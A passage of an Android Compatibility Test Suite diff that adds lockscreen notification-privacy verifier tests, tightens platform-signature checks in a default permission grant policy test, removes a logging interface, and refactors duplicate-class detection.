-
- @Override
- protected Intent getIntent() {
- return new Intent(Settings.ACTION_SECURITY_SETTINGS)
- .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
- }
- }
-
- /**
- * Sends the user to settings filter out silent notifications for this notification listener.
- * Sends silent and not silent notifs and makes sure only the non silent is received
- */
- private class NotificationTypeFilterTest extends InteractiveTestCase {
- int mRetries = 3;
- @Override
- protected View inflate(ViewGroup parent) {
- return createAutoItem(parent, R.string.nls_filter_test);
-
- }
-
- @Override
- protected void setUp() {
- createChannels();
- sendNotifications();
- sendNoisyNotification();
- status = READY;
- }
-
- @Override
- protected void tearDown() {
- mNm.cancelAll();
- MockListener.getInstance().resetData();
- deleteChannels();
- }
-
- @Override
- protected void test() {
- if (MockListener.getInstance().getPosted(mTag4) == null) {
- Log.d(TAG, "Could not find " + mTag4);
- if (--mRetries > 0) {
- sleep(100);
- status = RETEST;
- } else {
- status = FAIL;
- }
- } else if (MockListener.getInstance().getPosted(mTag2) != null) {
- logFail("Found" + mTag2);
- status = FAIL;
- } else {
- status = PASS;
- }
- }
- }
-
protected class SendUserToChangeFilter extends InteractiveTestCase {
@Override
protected View inflate(ViewGroup parent) {
@@ -1930,6 +1708,7 @@ public class NotificationListenerVerifierActivity extends InteractiveVerifierAct
ArrayList<String> pkgs = new ArrayList<>();
pkgs.add("com.android.settings");
MockListener.getInstance().migrateNotificationFilter(0, pkgs);
+ status = READY;
}
@Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationPrivacyVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationPrivacyVerifierActivity.java
new file mode 100644
index 00000000000..ce4d63165dd
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationPrivacyVerifierActivity.java
@@ -0,0 +1,554 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.notifications;
+
+import static android.app.Notification.VISIBILITY_PRIVATE;
+import static android.app.Notification.VISIBILITY_PUBLIC;
+import static android.app.Notification.VISIBILITY_SECRET;
+import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
+import static android.app.NotificationManager.VISIBILITY_NO_OVERRIDE;
+import static android.provider.Settings.EXTRA_APP_PACKAGE;
+import static android.provider.Settings.EXTRA_CHANNEL_ID;
+
+import android.annotation.SuppressLint;
+import android.app.KeyguardManager;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.View;
+import android.view.ViewGroup;
+
+import androidx.annotation.StringRes;
+
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.UUID;
+
+/**
+ * A verifier test which validates the lockscreen behaviors of notifications under various settings
+ */
+public class NotificationPrivacyVerifierActivity extends InteractiveVerifierActivity
+ implements Runnable {
+ static final String TAG = "NotifPrivacyVerifier";
+ private static final String NOTIFICATION_CHANNEL_ID = TAG;
+
+ @Override
+ protected void onCreate(Bundle savedState) {
+ super.onCreate(savedState);
+ }
+
+ @Override
+ protected int getTitleResource() {
+ return R.string.notif_privacy_test;
+ }
+
+ @Override
+ protected int getInstructionsResource() {
+ return R.string.notif_privacy_info;
+ }
+
+ private int getChannelVisibility() {
+ NotificationChannel channel = mNm.getNotificationChannel(NOTIFICATION_CHANNEL_ID);
+ int visibility = channel.getLockscreenVisibility();
+ if (visibility == VISIBILITY_NO_OVERRIDE) {
+ visibility = getGlobalVisibility();
+ }
+ if (visibility != VISIBILITY_SECRET
+ && visibility != VISIBILITY_PRIVATE
+ && visibility != VISIBILITY_PUBLIC) {
+ throw new RuntimeException("Unexpected visibility: " + visibility);
+ }
+ return visibility;
+ }
+
+ private int getGlobalVisibility() {
+ if (!getLockscreenNotificationsEnabled()) {
+ return VISIBILITY_SECRET;
+ } else if (!getLockscreenAllowPrivateNotifications()) {
+ return VISIBILITY_PRIVATE;
+ }
+ return VISIBILITY_PUBLIC;
+ }
+
+ private boolean getLockscreenNotificationsEnabled() {
+ return Settings.Secure.getInt(mContext.getContentResolver(),
+ Settings.Secure.LOCK_SCREEN_SHOW_NOTIFICATIONS, 0) != 0;
+ }
+
+ private boolean getLockscreenAllowPrivateNotifications() {
+ return Settings.Secure.getInt(mContext.getContentResolver(),
+ Settings.Secure.LOCK_SCREEN_ALLOW_PRIVATE_NOTIFICATIONS, 0) != 0;
+ }
+
+
+ // Test Setup
+
+ @Override
+ protected List<InteractiveTestCase> createTestItems() {
+ boolean isAutomotive = getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_AUTOMOTIVE);
+ List<InteractiveTestCase> tests = new ArrayList<>();
+ if (!isAutomotive) {
+ // FIRST: set redaction settings
+ tests.add(new SetScreenLockEnabledStep());
+ tests.add(new SetGlobalVisibilityPublicStep());
+ tests.add(new SetChannelLockscreenVisibilityPrivateStep());
+ // NOW TESTING: redacted by channel
+ tests.add(new NotificationWhenLockedShowsRedactedTest());
+ // TODO: Test: notification CAN be dismissed on lockscreen
+ tests.add(new NotificationWhenOccludedShowsRedactedTest());
+
+ tests.add(new SetChannelLockscreenVisibilityPublicStep());
+ // NOW TESTING: not redacted at all
+ tests.add(new SecureActionOnLockScreenTest());
+ tests.add(new NotificationWhenLockedShowsPrivateTest());
+ // TODO: Test: notification can NOT be dismissed on lockscreen
+ tests.add(new NotificationWhenOccludedShowsPrivateTest());
+
+ tests.add(new SetGlobalVisibilityPrivateStep());
+ // NOW TESTING: redacted globally
+ tests.add(new NotificationWhenLockedShowsRedactedTest());
+ // TODO: Test: notification CAN be dismissed on lockscreen
+ tests.add(new NotificationWhenOccludedShowsRedactedTest());
+
+ tests.add(new SetGlobalVisibilitySecretStep());
+ // NOW TESTING: notifications do not appear
+ tests.add(new NotificationWhenLockedIsHiddenTest());
+ tests.add(new NotificationWhenOccludedIsHiddenTest());
+
+ // FINALLY: restore device state
+ tests.add(new SetScreenLockDisabledStep());
+ }
+ return tests;
+ }
+
+ private void createChannels() {
+ NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+ NOTIFICATION_CHANNEL_ID, IMPORTANCE_DEFAULT);
+ mNm.createNotificationChannel(channel);
+ }
+
+ private void deleteChannels() {
+ mNm.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+ }
+
+ @SuppressLint("NewApi")
+ private void sendNotification() {
+ String tag = UUID.randomUUID().toString();
+ long when = System.currentTimeMillis();
+ Log.d(TAG, "Sending: tag=" + tag + " when=" + when);
+
+ mPackageString = "com.android.cts.verifier";
+
+ Notification publicVersion = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setContentTitle(getString(R.string.np_public_version_text))
+ .setSmallIcon(R.drawable.ic_stat_bob)
+ .setWhen(when)
+ .build();
+ Notification privateVersion = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setContentTitle(getString(R.string.np_private_version_text))
+ .setSmallIcon(R.drawable.ic_stat_alice)
+ .setWhen(when)
+ .setPublicVersion(publicVersion)
+ .build();
+ mNm.notify(tag, NOTIFICATION_ID, privateVersion);
+ }
+
+ /**
+ * Asks the user to set the lockscreen visibility of the channel to the given value
+ */
+ private abstract class SetChannelLockscreenVisibilityBaseStep extends InteractiveTestCase {
+ @StringRes
+ private final int mInstructionRes;
+ private final int mExpectVisibility;
+ private View mView;
+
+ SetChannelLockscreenVisibilityBaseStep(@StringRes int instructionRes,
+ int expectVisibility) {
+ mInstructionRes = instructionRes;
+ mExpectVisibility = expectVisibility;
+ }
+
+ @Override
+ protected View inflate(ViewGroup parent) {
+ mView = createUserItem(parent, R.string.np_start_channel_settings, mInstructionRes);
+ setButtonsEnabled(mView, false);
+ return mView;
+ }
+
+ @Override
+ protected void setUp() {
+ createChannels();
+ status = READY;
+ setButtonsEnabled(mView, true);
+ next();
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ if (getChannelVisibility() == mExpectVisibility) {
+ status = PASS;
+ } else {
+ // user hasn't jumped to settings yet
+ status = WAIT_FOR_USER;
+ }
+
+ next();
+ }
+
+ protected void tearDown() {
+ deleteChannels();
+ next();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS)
+ .putExtra(EXTRA_APP_PACKAGE, mContext.getPackageName())
+ .putExtra(EXTRA_CHANNEL_ID, NOTIFICATION_CHANNEL_ID);
+ }
+ }
+
+ private class SetChannelLockscreenVisibilityPrivateStep extends
+ SetChannelLockscreenVisibilityBaseStep {
+ SetChannelLockscreenVisibilityPrivateStep() {
+ super(R.string.nls_visibility, VISIBILITY_PRIVATE);
+ }
+ }
+
+ private class SetChannelLockscreenVisibilityPublicStep extends
+ SetChannelLockscreenVisibilityBaseStep {
+ SetChannelLockscreenVisibilityPublicStep() {
+ super(R.string.nls_restore_visibility, VISIBILITY_PUBLIC);
+ }
+ }
+
+ private abstract class SetScreenLockBaseStep extends InteractiveTestCase {
+ @StringRes
+ private final int mInstructionRes;
+ private final boolean mExpectSecure;
+ private View mView;
+
+ private SetScreenLockBaseStep(int instructionRes, boolean expectSecure) {
+ mInstructionRes = instructionRes;
+ mExpectSecure = expectSecure;
+ }
+
+ @Override
+ protected View inflate(ViewGroup parent) {
+ mView = createUserItem(parent, R.string.np_start_security_settings, mInstructionRes);
+ setButtonsEnabled(mView, false);
+ return mView;
+ }
+
+ @Override
+ protected void setUp() {
+ status = READY;
+ setButtonsEnabled(mView, true);
+ next();
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ KeyguardManager km = getSystemService(KeyguardManager.class);
+ if (km.isDeviceSecure() == mExpectSecure) {
+ status = PASS;
+ } else {
+ status = WAIT_FOR_USER;
+ }
+
+ next();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_SECURITY_SETTINGS)
+ .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ }
+ }
+
+ private class SetScreenLockEnabledStep extends SetScreenLockBaseStep {
+ private SetScreenLockEnabledStep() {
+ super(R.string.add_screen_lock, true /* secure */);
+ }
+ }
+
+ private class SetScreenLockDisabledStep extends SetScreenLockBaseStep {
+ private SetScreenLockDisabledStep() {
+ super(R.string.remove_screen_lock, false /* secure */);
+ }
+ }
+
+ private abstract class SetGlobalVisibilityBaseStep extends InteractiveTestCase {
+ @StringRes
+ private final int mInstructionRes;
+ private final int mExpectVisibility;
+ private View mView;
+
+ private SetGlobalVisibilityBaseStep(int instructionRes, int expectVisibility) {
+ mInstructionRes = instructionRes;
+ mExpectVisibility = expectVisibility;
+ }
+
+ @Override
+ protected View inflate(ViewGroup parent) {
+ mView = createUserItem(parent, R.string.np_start_notif_settings, mInstructionRes);
+ setButtonsEnabled(mView, false);
+ return mView;
+ }
+
+ @Override
+ protected void setUp() {
+ status = READY;
+ setButtonsEnabled(mView, true);
+ next();
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ KeyguardManager km = getSystemService(KeyguardManager.class);
+ if (!km.isDeviceSecure()) {
+ // if lockscreen itself not set, this setting won't be available.
+ status = FAIL;
+ } else if (getGlobalVisibility() == mExpectVisibility) {
+ status = PASS;
+ } else {
+ status = WAIT_FOR_USER;
+ }
+
+ next();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return new Intent(Settings.ACTION_NOTIFICATION_SETTINGS)
+ .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ }
+ }
+
+ private class SetGlobalVisibilityPublicStep extends SetGlobalVisibilityBaseStep {
+ private SetGlobalVisibilityPublicStep() {
+ super(R.string.set_global_visibility_public, VISIBILITY_PUBLIC);
+ }
+ }
+
+ private class SetGlobalVisibilityPrivateStep extends SetGlobalVisibilityBaseStep {
+ private SetGlobalVisibilityPrivateStep() {
+ super(R.string.set_global_visibility_private, VISIBILITY_PRIVATE);
+ }
+ }
+
+ private class SetGlobalVisibilitySecretStep extends SetGlobalVisibilityBaseStep {
+ private SetGlobalVisibilitySecretStep() {
+ super(R.string.set_global_visibility_secret, VISIBILITY_SECRET);
+ }
+ }
+
+ private class SecureActionOnLockScreenTest extends InteractiveTestCase {
+ private View mView;
+
+ @Override
+ protected void setUp() {
+ createChannels();
+ ActionTriggeredReceiver.sendNotification(mContext, true);
+ setButtonsEnabled(mView, true);
+ status = READY;
+ next();
+ }
+
+ @Override
+ protected void tearDown() {
+ mNm.cancelAll();
+ deleteChannels();
+ delay();
+ }
+
+ @Override
+ protected View inflate(ViewGroup parent) {
+ mView = createPassFailItem(parent, R.string.secure_action_lockscreen);
+ setButtonsEnabled(mView, false);
+ return mView;
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ status = WAIT_FOR_USER;
+ next();
+ }
+ }
+
+
+ private abstract class NotificationPrivacyBaseTest extends InteractiveTestCase {
+ private View mView;
+ @StringRes
+ private final int mInstructionRes;
+
+ NotificationPrivacyBaseTest(@StringRes int instructionRes) {
+ mInstructionRes = instructionRes;
+ }
+
+ @Override
+ protected void setUp() {
+ createChannels();
+ sendNotification();
+ setButtonsEnabled(mView, true);
+ status = READY;
+ next();
+ }
+
+ @Override
+ protected void tearDown() {
+ mNm.cancelAll();
+ deleteChannels();
+ delay();
+ }
+
+ @Override
+ protected View inflate(ViewGroup parent) {
+ mView = createPassFailItem(parent, mInstructionRes);
+ setButtonsEnabled(mView, false);
+ return mView;
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ status = WAIT_FOR_USER;
+ next();
+ }
+ }
+
+ private class NotificationWhenLockedShowsRedactedTest extends NotificationPrivacyBaseTest {
+ NotificationWhenLockedShowsRedactedTest() {
+ super(R.string.np_when_locked_see_redacted);
+ }
+ }
+
+ private class NotificationWhenLockedShowsPrivateTest extends NotificationPrivacyBaseTest {
+ NotificationWhenLockedShowsPrivateTest() {
+ super(R.string.np_when_locked_see_private);
+ }
+ }
+
+ private class NotificationWhenLockedIsHiddenTest extends NotificationPrivacyBaseTest {
+ NotificationWhenLockedIsHiddenTest() {
+ super(R.string.np_when_locked_hidden);
+ }
+ }
+
+ private abstract class NotificationWhenOccludedBaseTest extends InteractiveTestCase {
+ private View mView;
+ @StringRes
+ private final int mInstructionRes;
+
+ NotificationWhenOccludedBaseTest(@StringRes int instructionRes) {
+ mInstructionRes = instructionRes;
+ }
+
+ @Override
+ protected void setUp() {
+ createChannels();
+ sendNotification();
+ setButtonsEnabled(mView, true);
+ status = READY;
+ next();
+ }
+
+ @Override
+ protected void tearDown() {
+ mNm.cancelAll();
+ deleteChannels();
+ delay();
+ }
+
+ @Override
+ protected View inflate(ViewGroup parent) {
+ mView = createUserAndPassFailItem(
+ parent, R.string.np_start_occluding, R.string.np_occluding_instructions);
+ setButtonsEnabled(mView, false);
+ return mView;
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ status = WAIT_FOR_USER;
+ next();
+ }
+
+ @Override
+ protected Intent getIntent() {
+ return ShowWhenLockedActivity.makeActivityIntent(
+ getApplicationContext(), getString(mInstructionRes));
+ }
+ }
+
+ private class NotificationWhenOccludedShowsRedactedTest extends
+ NotificationWhenOccludedBaseTest {
+ NotificationWhenOccludedShowsRedactedTest() {
+ super(R.string.np_occluding_see_redacted);
+ }
+ }
+
+ private class NotificationWhenOccludedShowsPrivateTest extends
+ NotificationWhenOccludedBaseTest {
+ NotificationWhenOccludedShowsPrivateTest() {
+ super(R.string.np_occluding_see_private);
+ }
+ }
+
+ private class NotificationWhenOccludedIsHiddenTest extends NotificationWhenOccludedBaseTest {
+ NotificationWhenOccludedIsHiddenTest() {
+ super(R.string.np_occluding_hidden);
+ }
+ }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShowWhenLockedActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShowWhenLockedActivity.java
new file mode 100644
index 00000000000..de9fbc01f67
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ShowWhenLockedActivity.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.notifications;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+import com.android.cts.verifier.R;
+
+/**
+ * A simple activity which will show over the lockscreen (like an ongoing phone call).
+ */
+public class ShowWhenLockedActivity extends Activity {
+ private static final String KEY_DESCRIPTION = "desc";
+
+ /**
+ * Create the intent which can start this activity
+ * @param description The text to be shown on the activity
+ */
+ public static Intent makeActivityIntent(Context context, String description) {
+ return new Intent(context, ShowWhenLockedActivity.class)
+ .putExtra(KEY_DESCRIPTION, description)
+ .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ }
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_show_when_locked);
+ String description = getIntent().getStringExtra(KEY_DESCRIPTION);
+ this.<TextView>findViewById(R.id.description).setText(description);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
index ee33f420644..49208b1d5af 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -312,7 +312,7 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
public void addException(DefaultPermissionGrantException exception,
Set<String> runtimePermNames, Map<String, PackageInfo> packageInfos,
- SparseArray<UidState> outUidStates) {
+ Set<String> platformSignedPackages, SparseArray<UidState> outUidStates) {
Log.v(LOG_TAG, "Adding exception for company " + exception.company
+ ". Metadata: " + exception.metadata);
String packageName = exception.pkg;
@@ -356,9 +356,12 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
return;
}
} else {
- Log.w(LOG_TAG, "Attribute sha256-cert-digest or brand must be provided for package: "
- + packageName);
- return;
+ if (!platformSignedPackages.contains(packageName)) {
+ String packageDigest = computePackageCertDigest(packageInfo.signatures[0]);
+ Log.w(LOG_TAG, "Package is not signed with the platform certificate: " + packageName
+ + ". Package signature: " + packageDigest.toUpperCase());
+ return;
+ }
}
List<String> requestedPermissions = Arrays.asList(packageInfo.requestedPermissions);
@@ -432,14 +435,29 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
// Only use exceptions from business logic if they've been added
if (!mRemoteExceptions.isEmpty()) {
Log.d(LOG_TAG, String.format("Found %d remote exceptions", mRemoteExceptions.size()));
+ Set<String> platformSignedPackages = getPlatformSignedPackages(packageInfos);
for (DefaultPermissionGrantException dpge : mRemoteExceptions) {
- addException(dpge, runtimePermNames, packageInfos, outUidStates);
+ addException(dpge, runtimePermNames, packageInfos, platformSignedPackages,
+ outUidStates);
}
} else {
Log.w(LOG_TAG, "Failed to retrieve remote default permission grant exceptions.");
}
}
+ private Set<String> getPlatformSignedPackages(Map<String, PackageInfo> packageInfos) {
+ Set<String> platformSignedPackages = new ArraySet<>();
+ PackageManager pm = getInstrumentation().getContext().getPackageManager();
+ for (PackageInfo pkg : packageInfos.values()) {
+ boolean isPlatformSigned = pm.checkSignatures(pkg.packageName, PLATFORM_PACKAGE_NAME)
+ == PackageManager.SIGNATURE_MATCH;
+ if (isPlatformSigned) {
+ platformSignedPackages.add(pkg.packageName);
+ }
+ }
+ return platformSignedPackages;
+ }
+
// Permissions split from non dangerous permissions
private void addSplitFromNonDangerousPermissions(Map<String, PackageInfo> packageInfos,
@@ -785,7 +803,7 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
public Map<String, Boolean> permissions = new HashMap<>();
public boolean hasNonBrandSha256() {
- return sha256 != null && !hasBrand;
+ return !sha256.isEmpty() && !hasBrand;
}
public DefaultPermissionGrantException(String pkg, String sha256,
@@ -800,7 +818,7 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
this.metadata = metadata;
this.pkg = pkg;
this.sha256 = sha256;
- if (!sha256.contains(":")) {
+ if (!sha256.isEmpty() && !sha256.contains(":")) {
hasBrand = true; // rough approximation of brand vs. SHA256 hash
}
this.permissions = permissions;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
index b0ec2e985bc..27d86b51a28 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
@@ -18,6 +18,8 @@ package com.android.compatibility.common.util;
import static org.junit.Assert.assertTrue;
+import android.util.Log;
+
import org.junit.Before;
import java.util.List;
@@ -35,7 +37,7 @@ import java.util.List;
* Now Business Logics rules and actions can be called from the GCL by using the interface fully
* qualified name.
*/
-public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase implements MultiLogDevice {
+public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase {
private static final String LOG_TAG = BusinessLogicTestCase.class.getSimpleName();
@@ -52,7 +54,8 @@ public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase i
"Test \"%s\" is unable to execute as it depends on the missing remote "
+ "configuration.", mTestCase.getMethodName()), mCanReadBusinessLogic);
} else if (!mCanReadBusinessLogic) {
- logInfo(LOG_TAG, "Skipping Business Logic for %s", mTestCase.getMethodName());
+ Log.i(LOG_TAG, String.format(
+ "Skipping Business Logic for %s", mTestCase.getMethodName()));
return;
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
deleted file mode 100644
index dbe5128b7b1..00000000000
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-import com.android.compatibility.common.util.MultiLog;
-
-/** Implement the deviceside interface for logging on host+device-common code. */
-public interface MultiLogDevice extends MultiLog {
- /** {@inheritDoc} */
- @Override
- default void logInfo(String logTag, String format, Object... args) {
- Log.i(logTag, String.format(format, args));
- }
-
- /** {@inheritDoc} */
- @Override
- default void logDebug(String logTag, String format, Object... args) {
- Log.d(logTag, String.format(format, args));
- }
-
- /** {@inheritDoc} */
- @Override
- default void logWarn(String logTag, String format, Object... args) {
- Log.w(logTag, String.format(format, args));
- }
-
- /** {@inheritDoc} */
- @Override
- default void logError(String logTag, String format, Object... args) {
- Log.e(logTag, String.format(format, args));
- }
-}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
index b06092cfd73..6da017676cf 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/OWNERS
@@ -1 +1 @@
-per-file BaseDefaultPermissionGrantPolicyTest.java = eugenesusla@google.com, moltmann@google.com, svetoslavganov@google.com
+per-file BaseDefaultPermissionGrantPolicyTest.java = ewol@google.com, narayan@google.com, svetoslavganov@google.com
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index f2d39e3377f..ca23a714cbd 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -28,7 +28,6 @@ import android.compat.testing.SharedLibraryInfo;
import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -39,10 +38,10 @@ import com.google.common.collect.ImmutableSet;
import com.google.common.collect.Multimap;
import com.google.common.collect.Multimaps;
-import org.jf.dexlib2.iface.ClassDef;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.io.IOException;
import java.util.Collection;
import java.util.Set;
@@ -394,26 +393,24 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
private Multimap<String, String> getDuplicateClasses(ImmutableCollection<String> jars)
throws Exception {
final Multimap<String, String> allClasses = HashMultimap.create();
- for (String jar : jars) {
- ImmutableSet<ClassDef> classes = Classpaths.getClassDefsFromJar(getDevice(), jar);
- for (ClassDef classDef : classes) {
- // No need to worry about inner classes, as they always go with their parent.
- if (!classDef.getType().contains("$")) {
- allClasses.put(classDef.getType(), jar);
- }
- }
- }
-
- final Multimap<String, String> duplicates = HashMultimap.create();
- for (String clazz : allClasses.keySet()) {
- Collection<String> jarsWithClazz = allClasses.get(clazz);
- if (jarsWithClazz.size() > 1) {
- CLog.w("Class %s is duplicated in %s;", clazz, jarsWithClazz);
- duplicates.putAll(clazz, jarsWithClazz);
- }
- }
-
- return duplicates;
+ jars.stream()
+ .parallel()
+ .forEach(jar -> {
+ try {
+ Classpaths.getClassDefsFromJar(getDevice(), jar)
+ .stream()
+ // Inner classes always go with their parent.
+ .filter(classDef -> !classDef.getType().contains("$"))
+ .forEach(classDef -> {
+ synchronized (allClasses) {
+ allClasses.put(classDef.getType(), jar);
+ }
+ });
+ } catch (DeviceNotAvailableException | IOException e) {
+ throw new RuntimeException(e);
+ }
+ });
+ return Multimaps.filterKeys(allClasses, key -> allClasses.get(key).size() > 1);
}
private boolean doesFileExist(String path) {
@@ -426,22 +423,26 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
}
/**
+ * Get the name of a shared library.
+ *
+ * @return the shared library name or the jar's path if it's not a shared library.
+ */
+ private String getSharedLibraryNameOrPath(String jar,
+ ImmutableList<SharedLibraryInfo> sharedLibs) {
+ return sharedLibs.stream()
+ .filter(sharedLib -> sharedLib.paths.contains(jar))
+ .map(sharedLib -> sharedLib.name)
+ .findFirst().orElse(jar);
+ }
+
+ /**
* Check whether a list of jars are all different versions of the same library.
*/
private boolean isSameLibrary(Collection<String> jars,
ImmutableList<SharedLibraryInfo> sharedLibs) {
return jars.stream()
- .map(jar -> {
- for (SharedLibraryInfo sharedLib: sharedLibs) {
- for (String path: sharedLib.paths) {
- if (path.equals(jar)) {
- return sharedLib.name;
- }
- }
- }
- throw new RuntimeException(jar + " is not in shared libs.");
- })
- .distinct()
- .count() == 1;
+ .map(jar -> getSharedLibraryNameOrPath(jar, sharedLibs))
+ .distinct()
+ .count() == 1;
}
}
diff --git a/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java b/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
index 717e2e2bc0f..1c04610731a 100644
--- a/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
+++ b/hostsidetests/edi/src/android/edi/cts/ClasspathDeviceInfo.java
@@ -18,6 +18,8 @@ package android.edi.cts;
import static android.compat.testing.Classpaths.ClasspathType.BOOTCLASSPATH;
import static android.compat.testing.Classpaths.ClasspathType.SYSTEMSERVERCLASSPATH;
+import static org.junit.Assume.assumeTrue;
+
import android.compat.testing.Classpaths;
import android.compat.testing.Classpaths.ClasspathType;
import android.compat.testing.SharedLibraryInfo;
@@ -33,6 +35,7 @@ import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableSet;
import org.jf.dexlib2.iface.ClassDef;
+import org.junit.Before;
import java.io.File;
import java.io.IOException;
